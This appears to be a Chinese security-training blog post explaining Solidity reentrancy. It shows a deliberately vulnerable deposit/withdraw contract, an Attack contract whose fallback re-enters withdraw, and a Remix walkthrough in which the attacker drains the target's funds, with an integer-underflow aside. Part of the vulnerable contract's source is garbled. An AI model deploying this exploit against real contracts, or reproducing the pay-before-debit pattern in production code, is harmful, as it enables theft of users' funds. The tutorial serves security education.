区块链安全 | 智能合约重入漏洞

科技   2024-12-30 12:04   江西  

扫码领资料

获网安教程


本文由掌控安全学院 -   君叹 投稿

Track安全社区投稿~  

千元稿费!还有保底奖励~(https://bbs.zkaq.cn)

智能合约安全

在当今数字化浪潮汹涌澎湃的时代,区块链技术无疑是一颗耀眼的明星,正深刻地重塑着众多领域的运作模式。区块链,本质上是一种去中心化的分布式账本,它通过密码学原理确保了数据的不可篡改与安全性,使得交易信息能够在众多互不信任的节点间实现透明、可靠的记录与验证。而智能合约,则是区块链技术最具创新性与变革性的应用之一。智能合约是一种自动执行的合约条款,以代码形式部署在区块链网络之上。它犹如一位忠诚且严谨的数字化管家,一旦预设的条件被触发,就会自动且精准地执行相应的操作,无需人工干预,从而极大地提高了交易的效率与公正性,减少了人为操作可能带来的误差、欺诈以及冗长的中间环节。无论是金融领域的复杂交易、供应链管理中的物流与支付流程,还是数字资产的交易与管理等场景,智能合约都展现出了巨大的潜力与应用价值。然而,就像任何新兴且强大的技术一样,智能合约在带来便利与机遇的同时,也面临着诸多安全挑战,这些安全隐患犹如隐藏在暗处的礁石,随时可能使智能合约的应用之船触礁搁浅,因此对智能合约安全的深入探讨与研究具有极为重要的现实意义。

简单理解, 智能合约就是运行在区块链上的后端程序, 用来提供服务, 区块链技术是使互联网从web2.0时代迈向web3.0时代的技术, 而Solidity是一种高级编程语言, 在熟悉web逻辑漏洞的情况下, 只要简单入门Solidity, 再结合本教程, 就能快速入门智能合约安全的领域.

Solidity官方文档: https://docs.soliditylang.org/zh/v0.8.21/ Remix: https://remix.ethereum.org/ Remix是基于浏览器的开发Solidity的IDE.

重入攻击

重入攻击的漏洞点存在于先给钱后记帐 我们先来看一段漏洞代码

// SPDX-License-Identifier: GPL-3.0pragma solidity >=0.7.0 uint) blances; // 存钱方法 function deposit() public payable { require(msg.value > 10); blances[msg.sender] += msg.value; } // 查询余额方法 function query() public view returns (uint){ return blances[msg.sender]; } // 取钱方法 function withdraw(uint blance) public payable { require(blances[msg.sender] >= blance, "You don't have enough balance"); (bool sent, ) = msg.sender.call{value:blance}(""); // 调用 call 进行转账 if (sent) { // 判断是否转账成功 blances[msg.sender] -= blance; // 转账成功则扣除相应的余额 } }}

漏洞点就在上述代码中的withdraw方法中, 是先进行转账, 然后才扣除相应的余额 这会造成什么问题呢? 很显然开发者没有考虑到存款取款的账户也可以是智能合约 在学习过Solidity后, 我们知道, 智能合约中存在fallback方法, 用来处理当合约收到转账的情况 先来看我们的攻击代码 随后对原理进行详细讲解

contract Attack { Blan blan; bool flag; constructor(address blan_address) { blan = Blan(blan_address); } function attack() public payable { require(msg.value == 1 ether); blan.deposit{value:1 ether}(); // 存入 1eth blan.withdraw(10 ** 18); // 取出1 eth, 这里以wei为单位, 10**18 wei = 1 eth } fallback() external payable { if (!flag) { blan.withdraw(10 ** 18); flag = true; } }}

我们可以看到, 有一个 flag 值 当触发攻击函数后, 会像目标合约存入 1eth 再提取1eth 我们来看一下执行的流程图

图中箭头标注1, 2的部分是第一次访问到这块, 会跟着1走, 第二次再访问到这块, 会走2.

img


流程图中很明显的告诉我们 漏洞触发的原因是, 当转账给一个智能合约时 会等待该合约的 fallback() 函数执行完成后 才算这行代码执行完毕, 才会接着继续下一行代码 其中利用的像是一种递归的思想

另外此处还存在整型下溢漏洞 会将我的余额变为 2 ** 256 - 1 第一次存入后, 我的余额为1 两次取出后, 我的余额就变成了 1 - 1 - 1, 由于余额是 uint类型表示的 我的余额就会变成 2**256 -1 wei

测试:

编译时选择Solidity7版本, Solidity8中添加了当发生溢出时自动回退的功能.

img

部署后, 我们首先用默认用户存进去10eth

img

img

img

然后部署攻击合约

img

设置发送1eth

img

img

但是结果我们发现 对方所有eth都到了我们账户上 这是为什么呢?

img

仔细观察我们攻击代码中的fallback()函数 我们这里也是先触发取款, 才更改flag标记 但是第二次取款的时候, 还是会再次触发fallback函数, 这里也同样是重入漏洞的逻辑, 我们需要先更改flag标志, 再调用取款函数, 才能达到我们上述的效果, 大家可以自行尝试, 这里便不做演示.

img

申明:本公众号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,

所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法.


没看够~?欢迎关注!

分享本文到朋友圈,可以凭截图找老师领取

上千教程+工具+靶场账号

 分享后扫码加我


回顾往期内容

Xray挂机刷漏洞

零基础学黑客,该怎么学?

网络安全人员必考的几本证书!

文库|内网神器cs4.0使用说明书

代码审计 | 这个CNVD证书拿的有点轻松

【精选】SRC快速入门+上分小秘籍+实战指南

    代理池工具撰写 | 只有无尽的跳转,没有封禁的IP!

点赞+在看支持一下吧~感谢看官老爷~ 

你的点赞是我更新的动力


掌控安全EDU
安全教程\x5c高质量文章\x5c面试经验分享,尽在#掌控安全EDU#
 最新文章